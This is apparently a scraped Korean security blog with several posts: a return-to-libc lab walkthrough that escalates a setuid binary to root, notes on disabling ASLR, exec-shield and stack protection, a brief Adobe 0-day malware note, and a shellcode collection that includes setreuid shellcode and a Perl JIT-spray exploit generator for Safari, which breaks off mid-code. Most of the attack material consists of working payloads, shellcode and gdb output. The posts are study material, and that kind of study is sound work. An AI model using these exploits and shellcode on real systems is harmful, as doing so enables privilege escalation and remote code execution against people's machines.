kernel.random.read_wakeup_threshold = 64 kernel.random.write_wakeup_threshold = 128 kernel.random.boot_id = aa842921-f1e2-416e-8a72-240fa7054ae5 kernel.random.uuid = 0f6a6b7f-11ed-4ba4-8b27-94cfbe6b62bb kernel.randomize_va_space = 2 [byjjoon@ByJJoon RTL]$ /sbin/sysctl -a | grep exec error: permission denied on key \u0026#39;kernel.cad_pid\u0026#39; kernel.exec-shield = 1 kernel.sched_domain.cpu0.domain0.forkexec_idx = 0 kernel.sched_domain.cpu1.domain0.forkexec_idx = 0 [byjjoon@ByJJoon RTL]$ 문제 소스는 이전 레드헷 9 환경에서 했던 코드와 같으며 컴파일 시 \u0026quot;-mpreferred-stack-boundary=2\u0026quot; 옵션을 사용하여 컴파일을 하였습니다.\n1 2 3 4 5 6 int main(int argc, char *argv[]) { char buffer[5]; strcpy(buffer, argv[1]); return 0; } 우선 system() 함수의 주소를 확인하도록 합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [root@ByJJoon RTL]# ls -al vuln -rwsrwsr-x 1 root root 4860 2010-06-19 04:33 vuln [root@ByJJoon RTL]# exit exit [byjjoon@ByJJoon RTL]$ gdb -q vuln (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x80483d2 (gdb) r Starting program: /home/byjjoon/RTL/vuln (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483d2 in main () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/x system 0x92b8d0 \u0026lt;system\u0026gt;: 0x890cec83 (gdb) 이제 \u0026quot;/bin/sh\u0026quot; 문자열의 주소를 확인합니다. 확인하는 방법은 system() 함수는 내부에 \u0026quot;/bin/sh\u0026quot; 문자열을 가지고 있으므로 아래 코드를 이용하여 확인할 수 있습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include\u0026lt;stdio.h\u0026gt; #include\u0026lt;stdlib.h\u0026gt; int main(){ char *ptr = 0x92b8d0; // system() 주소 while(1){ if( (strncmp(ptr,\u0026#34;/bin/sh\u0026#34;,7))==0){ printf(\u0026#34;%p : %s\\n\u0026#34;,ptr,ptr); return 0; } ptr++; } return 0; } 위 코드를 이용하여 \u0026quot;/bin/sh\u0026quot; 주소를 확인해보면 아래와 같습니다.\n1 2 3 4 5 6 7 [byjjoon@ByJJoon RTL]$ gcc find_binsh.c [byjjoon@ByJJoon RTL]$ ./a.out Segmentation fault [byjjoon@ByJJoon RTL]$ ./a.out \u0026#34;/bin/sh\u0026#34; is at 0xa2b1bf print /bin/sh [byjjoon@ByJJoon RTL]$ 이제 공격에 필요한 주소들을 모두 확인하였습니다. 그럼 RET 위치를 확인해 보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 [byjjoon@ByJJoon RTL]$ gdb vuln GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) disassemble main Dump of assembler code for function main: 0x080483c4 \u0026lt;main+0\u0026gt;: push %ebp 0x080483c5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x080483c7 \u0026lt;main+3\u0026gt;: sub $0x10,%esp 0x080483ca \u0026lt;main+6\u0026gt;: mov 0xc(%ebp),%eax 0x080483cd \u0026lt;main+9\u0026gt;: add $0x4,%eax 0x080483d0 \u0026lt;main+12\u0026gt;: mov (%eax),%eax 0x080483d2 \u0026lt;main+14\u0026gt;: mov %eax,0x4(%esp) 0x080483d6 \u0026lt;main+18\u0026gt;: lea -0x5(%ebp),%eax 0x080483d9 \u0026lt;main+21\u0026gt;: mov %eax,(%esp) 0x080483dc \u0026lt;main+24\u0026gt;: call 0x80482f4 \u0026lt;strcpy@plt\u0026gt; 0x080483e1 \u0026lt;main+29\u0026gt;: mov $0x0,%eax 0x080483e6 \u0026lt;main+34\u0026gt;: leave 0x080483e7 \u0026lt;main+35\u0026gt;: ret End of assembler dump. (gdb) b *main+35 Breakpoint 1 at 0x80483e7 (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*10\u0026#34;` Starting program: /home/byjjoon/RTL/vuln `python -c \u0026#34;print \u0026#39;A\u0026#39;*10\u0026#34;` (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483e7 in main () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/32wx $esp 0xbffff74c: 0x00900041 0x00000002 0xbffff7d4 0xbffff7e0 0xbffff75c: 0x008f0810 0x00000000 0x00000001 0x00000001 0xbffff76c: 0x00000000 0x00a57ff4 0x00000000 0x08048310 0xbffff77c: 0xbffff7a8 0x26781441 0xf8bd833f 0x00000000 0xbffff78c: 0x00000000 0x00000000 0x008e74e0 0x009094fd 0xbffff79c: 0x008effc0 0x00000002 0x08048310 0x00000000 0xbffff7ac: 0x08048331 0x080483c4 0x00000002 0xbffff7d4 0xbffff7bc: 0x08048400 0x080483f0 0x008e1dd0 0xbffff7cc (gdb) r `python -c \u0026#34;print \u0026#39;A\u0026#39;*13\u0026#34;` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/byjjoon/RTL/vuln `python -c \u0026#34;print \u0026#39;A\u0026#39;*13\u0026#34;` (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483e7 in main () (gdb) x/32wx $esp 0xbffff74c: 0x41414141 0x00000000 0xbffff7d4 0xbffff7e0 0xbffff75c: 0x008f0810 0x00000000 0x00000001 0x00000001 0xbffff76c: 0x00000000 0x00a57ff4 0x00000000 0x08048310 0xbffff77c: 0xbffff7a8 0x6f83fc10 0xb1466b6e 0x00000000 0xbffff78c: 0x00000000 0x00000000 0x008e74e0 0x009094fd 0xbffff79c: 0x008effc0 0x00000002 0x08048310 0x00000000 0xbffff7ac: 0x08048331 0x080483c4 0x00000002 0xbffff7d4 0xbffff7bc: 0x08048400 0x080483f0 0x008e1dd0 0xbffff7cc (gdb) q The program is running. Exit anyway? (y or n) y [byjjoon@ByJJoon RTL]$ 13개 입력 시 모두 덮혔으므로 아래와 같이 구성될 수 있습니다. [AAAAAAAAA] + [RET]\n그럼 이제 공격을 해보도록 하겠습니다. 공격은 아래와 같은 구성으로 하도록 하겠습니다. [AAAAAAAAA] + [system() 주소] + [JUNK] + [/bin/sh 주소]\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 [byjjoon@ByJJoon RTL]$ ./vu `python -c \u0026#34;print \u0026#39;A\u0026#39;*9 + \u0026#39;\\xd0\\xb8\\x92\\x00\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\xbf\\xb1\\xa2\\x00\u0026#39;\u0026#34;` Segmentation fault (core dumped) [byjjoon@ByJJoon RTL]$ gdb vu core.1825 core.18252 core.18255 [byjjoon@ByJJoon RTL]$ gdb vu core.18255 GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... (no debugging symbols found) warning: Can\u0026#39;t read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...(no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...(no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 (no debugging symbols found) Core was generated by `./ln AAAAAAAAAи?BBBB¿±￠\u0026#39;. Program terminated with signal 11, Segmentation fault. [New process 18255] #0 0x4292b8d0 in ?? () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) bt #0 0x4292b8d0 in ?? () #1 0xbf424242 in ?? () #2 0xbf00a2b1 in ?? () #3 0xbffff800 in ?? () #4 0x008f0810 in ?? () #5 0x00000000 in ?? () (gdb) x/32wx $esp 0xbffff770: 0xbf424242 0xbf00a2b1 0xbffff800 0x008f0810 0xbffff780: 0x00000000 0x00000001 0x00000001 0x00000000 0xbffff790: 0x00a57ff4 0x00000000 0x08048310 0xbffff7c8 0xbffff7a0: 0x183bcd75 0xc6fe1a0b 0x00000000 0x00000000 0xbffff7b0: 0x00000000 0x008e74e0 0x009094fd 0x008effc0 0xbffff7c0: 0x00000002 0x08048310 0x00000000 0x08048331 0xbffff7d0: 0x080483c4 0x00000002 0xbffff7f4 0x08048400 0xbffff7e0: 0x080483f0 0x008e1dd0 0xbffff7ec 0x00000000 (gdb) x/32wx $esp-10 0xbffff766: 0x41414141 0xb8d04141 0x42424292 0xa2b1bf42 0xbffff776: 0xf800bf00 0x0810bfff 0x0000008f 0x00010000 0xbffff786: 0x00010000 0x00000000 0x7ff40000 0x000000a5 0xbffff796: 0x83100000 0xf7c80804 0xcd75bfff 0x1a0b183b 0xbffff7a6: 0x0000c6fe 0x00000000 0x00000000 0x74e00000 0xbffff7b6: 0x94fd008e 0xffc00090 0x0002008e 0x83100000 0xbffff7c6: 0x00000804 0x83310000 0x83c40804 0x00020804 0xbffff7d6: 0xf7f40000 0x8400bfff 0x83f00804 0x1dd00804 (gdb) 공격이 성공되지 않아 확인을 해보니 입력한 \\x00 가 정상적으로 입력되지 않았습니다. 그 이유는 argv로 입력을 받을 시 \\x00는 입력을 하지 못한다고 하네요. 그래서 문제 소스를 조금 변경하여 해보도록 하겠습니다.\n1 2 3 4 5 6 int main() { char buffer[5]; gets(buffer); return 0; } 기존 argv를 통해 입력받던 것을 gets 함수를 이용하여 입력받도록 수정하여 공격을 하도록 하겠습니다.\n1 2 3 4 5 6 7 [root@ByJJoon RTL]# gcc -o vuln vuln.c -mpreferred-stack-boundary=2 /tmp/cc60gzkD.o: In function `main\u0026#39;: vuln.c:(.text+0xd): warning: the `gets\u0026#39; function is dangerous and should not be used. [root@ByJJoon RTL]# chmod +s vuln [root@ByJJoon RTL]# ls -al vuln -rwsrwsr-x 1 root root 4810 2010-06-19 04:53 vuln [root@ByJJoon RTL]# 위와 같은 옵션을 통해 컴파일 후 setuid를 걸어 줬습니다. 이제 공격을 해보도록 하겠습니다.\n1 2 3 4 5 6 [byjjoon@ByJJoon RTL]$ (python -c \u0026#34;print \u0026#39;A\u0026#39;*9 + \u0026#39;\\xd0\\xb8\\x92\\x00\u0026#39; + \u0026#39;BBBB\u0026#39; + \u0026#39;\\xbf\\xb1\\xa2\\x00\u0026#39;\u0026#34;; cat) | ./vuln id uid=500(byjjoon) gid=500(byjjoon) groups=500(byjjoon) ^C Segmentation fault [byjjoon@ByJJoon RTL]$ 쉘은 획득을 하였으나 권한을 못받아 오는걸 볼 수 있습니다. 하지만 이전 포스팅(RTL(Returning into libc) 스터디 - 1) 에서의 방법과 같이 공격을 하면 권한을 그대로 받아 올 수 있습니다.\n먼저 shell.c 코드를 작성 후 심볼릭 링크를 걸 주소를 확인합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 [byjjoon@ByJJoon RTL]$ cat shell.c int main() { setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); execl(\u0026#34;/bin/bash\u0026#34;, \u0026#34;sh\u0026#34;, 0); } [byjjoon@ByJJoon RTL]$ gcc -o shell shell.c shell.c: In function ‘main’: shell.c:5: warning: incompatible implicit declaration of built-in function ‘execl’ [byjjoon@ByJJoon RTL]$ objdump --dynamic-reloc vuln vuln: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 080495e4 R_386_GLOB_DAT __gmon_start__ 080495f4 R_386_JUMP_SLOT __gmon_start__ 080495f8 R_386_JUMP_SLOT gets 080495fc R_386_JUMP_SLOT __libc_start_main [byjjoon@ByJJoon RTL]$ gdb -q vuln (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x80483ba (gdb) r Starting program: /home/byjjoon/RTL/vuln (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483ba in main () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/32wx 0x080495f8 0x80495f8 \u0026lt;_GLOBAL_OFFSET_TABLE_+16\u0026gt;: 0x080482e6 0x009094f0 0x00000000 0x00000000 0x8049608 \u0026lt;dtor_idx.5701\u0026gt;: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049618: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049628: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049638: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049648: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049658: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049668: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx 0x080495f8-16 0x80495e8 \u0026lt;_GLOBAL_OFFSET_TABLE_\u0026gt;: 0x0804951c 0x008f0658 0x008e74d0 0x080482d6 0x80495f8 \u0026lt;_GLOBAL_OFFSET_TABLE_+16\u0026gt;: 0x080482e6 0x009094f0 0x00000000 0x00000000 0x8049608 \u0026lt;dtor_idx.5701\u0026gt;: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049618: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049628: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049638: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049648: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049658: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx 0x0804951c 0x804951c \u0026lt;_DYNAMIC\u0026gt;: 0x00000001 0x00000010 0x0000000c 0x08048290 0x804952c \u0026lt;_DYNAMIC+16\u0026gt;: 0x0000000d 0x0804846c 0x6ffffef5 0x0804818c 0x804953c \u0026lt;_DYNAMIC+32\u0026gt;: 0x00000005 0x080481fc 0x00000006 0x080481ac 0x804954c \u0026lt;_DYNAMIC+48\u0026gt;: 0x0000000a 0x0000004a 0x0000000b 0x00000010 0x804955c \u0026lt;_DYNAMIC+64\u0026gt;: 0x00000015 0x008f0644 0x00000003 0x080495e8 0x804956c \u0026lt;_DYNAMIC+80\u0026gt;: 0x00000002 0x00000018 0x00000014 0x00000011 0x804957c \u0026lt;_DYNAMIC+96\u0026gt;: 0x00000017 0x08048278 0x00000011 0x08048270 0x804958c \u0026lt;_DYNAMIC+112\u0026gt;: 0x00000012 0x00000008 0x00000013 0x00000008 (gdb) q The program is running. Exit anyway? (y or n) y 심볼릭링크를 주소를 확인했으니 이제 심볼릭 링크를 걸도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 [byjjoon@ByJJoon RTL]$ ln -s shell `python -c \u0026#34;print \u0026#39;\\x01\u0026#39;\u0026#34;` [byjjoon@ByJJoon RTL]$ ls -al total 64 drwxrwxr-x 2 byjjoon byjjoon 12288 2010-06-26 00:17 . drwx------ 16 byjjoon byjjoon 28672 2010-06-26 00:13 .. lrwxrwxrwx 1 byjjoon byjjoon 5 2010-06-25 23:59 ? -\u0026gt; shell -rwxrwxr-x 1 byjjoon byjjoon 5274 2010-06-26 00:13 shell -rw-rw-r-- 1 byjjoon byjjoon 133 2010-06-26 00:13 shell.c -rwsrwsr-x 1 root root 4810 2010-06-19 04:53 vuln -rw-r--r-- 1 byjjoon byjjoon 73 2010-06-19 04:51 vuln.c 심볼릭링크를 걸었으니 이제 필요한 execl() 함수 주소를 확인 후 공격을 해보도록 하겠습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [byjjoon@ByJJoon RTL]$ gdb vuln GNU gdb Fedora (6.8-24.fc9) Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i386-redhat-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x80483ba (gdb) r Starting program: /home/byjjoon/RTL/vuln (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483ba in main () Missing separate debuginfos, use: debuginfo-install glibc.i686 (gdb) x/x execl 0x98dd20 \u0026lt;execl\u0026gt;: 0x53565755 (gdb) q The program is running. Exit anyway? (y or n) y [byjjoon@ByJJoon RTL]$ (python -c\u0026#34;print \u0026#39;A\u0026#39;*9 + \u0026#39;\\x20\\xdd\\x98\\x00\u0026#39; + \u0026#39;\\x1c\\x95\\x04\\x08\u0026#39;*2\u0026#34;; cat) | ./vuln id uid=0(root) gid=0(root) groups=500(byjjoon) q sh: line 2: q: command not found ^C [byjjoon@ByJJoon RTL]$ 권한을 그대로 받아 오는것을 볼 수 있습니다... :)\n","date":"2010-06-18T20:12:58Z","permalink":"/2010/06/18/rtlreturning-into-libc-%EC%8A%A4%ED%84%B0%EB%94%94-2/","title":"RTL(Returning into libc) 스터디 - 2"},{"content":"[랜덤 스택\u0026amp;라이브러리, 스택 실행권한 설정]\n커널 2.6 부터 제공 (Default 값은 1)\n# sysctl -w kernel.randomize_va_space=0 (해제)\n# sysctl -w kernel.randomize_va_space=1 (랜덤 스택 \u0026amp; 라이브러리)\n# sysctl -w kernel.randomize_va_space=2 (랜럼 스택 \u0026amp; 라이브러리 \u0026amp; 힙)\n# sysctl -w kernel.exec-shield=0 (스택 실행권한 해제)\n# sysctl -w kernel.exec-shield=1 (스택 실행권한 설정)\n시스템 시작할때 자동으로 설정하기\n위에 설정 명령을 /etc/sysctl.conf 안에 쓴 후 reboot\n[랜덤 스택\u0026amp;라이브러리, 스택 실행권한 설정상태 확인]\n$ sysctl -a | grep exec (or random)\n\u0026quot;gdb TARGET\u0026quot; 후 \u0026quot;shell\u0026quot; 명령어로 빠져나온 후 ps 로 TARGET PID 확인 후 \u0026quot;cat /proc/PID/maps\u0026quot; 로 확인\nbfffa000-c0000000 rwxp ffffb000 00:00 0 [stack]\n실행할때마다 왼쪽의 주소가 바뀌면 랜덤스택이며 rwxp 이면 실행권한이 있는 것으로 볼 수 있음.\n[문제 만들 시 컴파일 옵션]\n-fno-stack-protector -fno-builtin -mpreferred-stack-boundary=2 -z execstack\n-fno-stack-protector : 스택 프로텍트\n-fno-builtin : 표준 라이브러리와 링크되지 말고 단독으로 링크하라는 의미\n-mpreferred-stack-boundary=2 : 더미 없애기\n-z execstack : 스택에 실행 권한 주기\n[+] Disable stack address randomization\n$ echo 0 \u0026gt; /proc/sys/kernel/exec-shield\n$ echo 0 \u0026gt; /proc/sys/kernel/exec-shield-randomize\n$ sysctl -w kernel.randomize_va_space=0\n(last one might need a reboot of your box)\n[+] To disable format string protections\ncompile with \u0026quot;-D_FORTIFY_SOURCE=0 -Wno-format-security\u0026quot;\n$ echo 0 \u0026gt; /proc/sys/kernel/exec-shield\n$ echo 0 \u0026gt; /proc/sys/kernel/exec-shield-randomize\n$ sysctl -w kernel.randomize_va_space=0\n[+] 스택 프로텍트 On 하기\n-fstack-protector\n참고 : http://blog.naver.com/passket/100099108180\n","date":"2010-06-16T16:21:19Z","permalink":"/2010/06/16/system-%EB%AC%B8%EC%A0%9C-%ED%99%98%EA%B2%BD-%ED%99%95%EC%9D%B8-%EB%B0%8F-%EC%84%A4%EC%A0%95/","title":"System 문제 환경 확인 및 설정"},{"content":" 웹센스에 올라온 Flash 취약점을 이용한 MASS SQL Injection 공격 관련 동영상 입니다.\n그리고 이 동영상은 Bit Defender 에서 만든 것으로 Adobe Reader와 관련된 동영상이네요.\n(Malware contacts 210.211.31.214 creates c:\\.exe)\n","date":"2010-06-14T05:38:38Z","permalink":"/2010/06/14/adobe-flash/","title":"Adobe 0-day vulnerability in Flash, Adobe Reader and Acrobat (CVE-2010-1297)"},{"content":"uid, gid 설정 및 실행 파일 설정\n1 2 3 4 5 6 7 8 9 10 11 12 13 char shellcode[] = \u0026#34;\\x31\\xc0\\xb0\\x46\\x66\\xbb\\x66\\x02\\x66\\xb9\\x66\\x02\\xcd\\x80\u0026#34; // uid 614 \u0026#34;\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b\u0026#34; \u0026#34;\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\u0026#34; \u0026#34;\\x80\\xe8\\xdc\\xff\\xff\\xff/tmp/go\u0026#34;; // /tmp/go 실행 int main() { printf(\u0026#34;Length: %d bytes.\\n\u0026#39;\u0026#34;, strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Universal setreuid() shellcode (출처 : http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt)\n1 2 3 4 5 6 7 8 9 10 11 char shellcode[] = \u0026#34;\\x31\\xc0\\xb0\\x31\\xcd\\x80\\x89\\xc3\\x89\\xc1\\x31\\xc0\\xb0\\x46\\xcd\\x80\u0026#34; // setreuid( geteuid() , geteuid() ); \u0026#34;\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80\u0026#34;; // shellcode int main() { printf(\u0026#34;Length: %d bytes.\\n\u0026#39;\u0026#34;, strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Script JIT shellcode generator for DEP and ASLR bypass (출처 : http://shell-storm.org/shellcode/files/shellcode-686.php)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 #!/usr/bin/perl # # Script JIT shellcode generator # for DEP and ASLR bypass # tested on Safari (ver. 4 and 5) # By Alexey Sintsov (dookie at inbox.ru / a.sintsov at dsec.ru) # from Digital Security # [www.dsecrg.com] # # Details: http://dsecrg.com/pages/pub/show.php?id=26 # P.S. here is 0x1000 as mul. factor: (0x0000XXYY*0x00010000=0xXXYY0000) # this much better for automatic generation than mul. of sqrt of 0xXXYY0000 8) # # # Safari 4.0.5 Memory corruption exploit # Orig exploit by Krystian Kloskowski # (used for demo) # # # Special for www.xakep.ru # # Usage:perl safari_jit.pl \u0026gt; exploit.html # # # #Shellcode from Metasploit - Exec CALC $shellcode = \u0026#34;\\xfc\\xe8\\x89\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xd2\\x64\\x8b\\x52\u0026#34; . \u0026#34;\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7\\x4a\\x26\u0026#34; . \u0026#34;\\x31\\xff\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf\\x0d\u0026#34; . \u0026#34;\\x01\\xc7\\xe2\\xf0\\x52\\x57\\x8b\\x52\\x10\\x8b\\x42\\x3c\\x01\\xd0\u0026#34; . \u0026#34;\\x8b\\x40\\x78\\x85\\xc0\\x74\\x4a\\x01\\xd0\\x50\\x8b\\x48\\x18\\x8b\u0026#34; . \u0026#34;\\x58\\x20\\x01\\xd3\\xe3\\x3c\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31\\xff\u0026#34; . \u0026#34;\\x31\\xc0\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf4\\x03\\x7d\u0026#34; . \u0026#34;\\xf8\\x3b\\x7d\\x24\\x75\\xe2\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66\\x8b\u0026#34; . \u0026#34;\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0\\x89\\x44\u0026#34; . \u0026#34;\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x58\\x5f\\x5a\\x8b\u0026#34; . \u0026#34;\\x12\\xeb\\x86\\x5d\\x6a\\x01\\x8d\\x85\\xb9\\x00\\x00\\x00\\x50\\x68\u0026#34; . \u0026#34;\\x31\\x8b\\x6f\\x87\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x68\\xa6\\x95\u0026#34; . \u0026#34;\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\u0026#34; . \u0026#34;\\x47\\x13\\x72\\x6f\\x6a\\x00\\x53\\xff\\xd5calc\\x00\u0026#34;; #Address with RWX - place for shellcode $addr=\u0026#34;\\x08\\x0A\u0026#34;; #0x080A0000 ################################################################# ######## BEGIN ########### ################################################################# $len=length($shellcode); $add=$len % 4; $copyJit=\u0026#34;\u0026#34;; for($i=0;$i\u0026lt;$add;$i++) { $shellcode.=\u0026#34;\\xCC\u0026#34;; } $offsetJit=\u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+/* START OF OFFSET */\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x22222222^\\\u0026#34;+ /*SHELLCODE BEGINS*/\\n\u0026#34;; # Init JIT shelcode $initJit=\u0026#34;\\\u0026#34;0x14EBC031^\\\u0026#34;+//XOR EAX,EAX\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EB01B4^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EB00B0^\\\u0026#34;+\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBE0F7^\\\u0026#34;+// EAX=0x100*0x100\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBF08B^\\\u0026#34;+// MOV ESI, EAX ;ESI=00010000 - MUL factor\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBC031^\\\u0026#34;+ //XOR EAX,EAX\\n\u0026#34;. sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB4^\\\u0026#34;+\\n\u0026#34;,ord substr($addr,0,1)). sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB0^\\\u0026#34;+\\n\u0026#34;,ord substr($addr,1,1)). \u0026#34;\\\u0026#34;0x14EBE6F7^\\\u0026#34;+ // MUL ESI; EAX - RWX memory for shellcode\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBC88B^\\\u0026#34;+ // mov ecx, eax ; ECX - pointer on RWE mem\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EBDB33^\\\u0026#34;+ // xor ebx, ebx\\n\u0026#34;. \u0026#34;\\\u0026#34;0x14EB04B3^\\\u0026#34;+ // mov bl, 4 ; EBX = 0x4 - step \\n\u0026#34;; #Convert shellcode into JIT code for($i=0;$i\u0026lt;length($shellcode);$i+=4) { my $val=\u0026#34;\u0026#34;; $byte1=substr($shellcode,($i+3),1); $byte2=substr($shellcode,($i+2),1); $byte3=substr($shellcode,($i+1),1); $byte4=substr($shellcode,($i),1); $val.=\u0026#34;\\\u0026#34;0x14EBC031^\\\u0026#34;+ //XOR EAX,EAX\\n\u0026#34;; $val.= sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB4^\\\u0026#34;+ //MOV AH\\n\u0026#34;,ord $byte1); $val.= sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB0^\\\u0026#34;+ //MOV AL\\n\u0026#34;,ord $byte2); $val.= \u0026#34;\\\u0026#34;0x14EBE6F7^\\\u0026#34;+ //MUL ESI\\n\u0026#34;; $val.= sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB4^\\\u0026#34;+ //MOV AH\\n\u0026#34;,ord $byte3); $val.= sprintf(\u0026#34;\\\u0026#34;0x14EB%02lxB0^\\\u0026#34;+ //MOV AL\\n\u0026#34;,ord $byte4); $val.=\u0026#34;\\\u0026#34;0x14EB0189^\\\u0026#34;+ // mov [ecx], eax ; copy 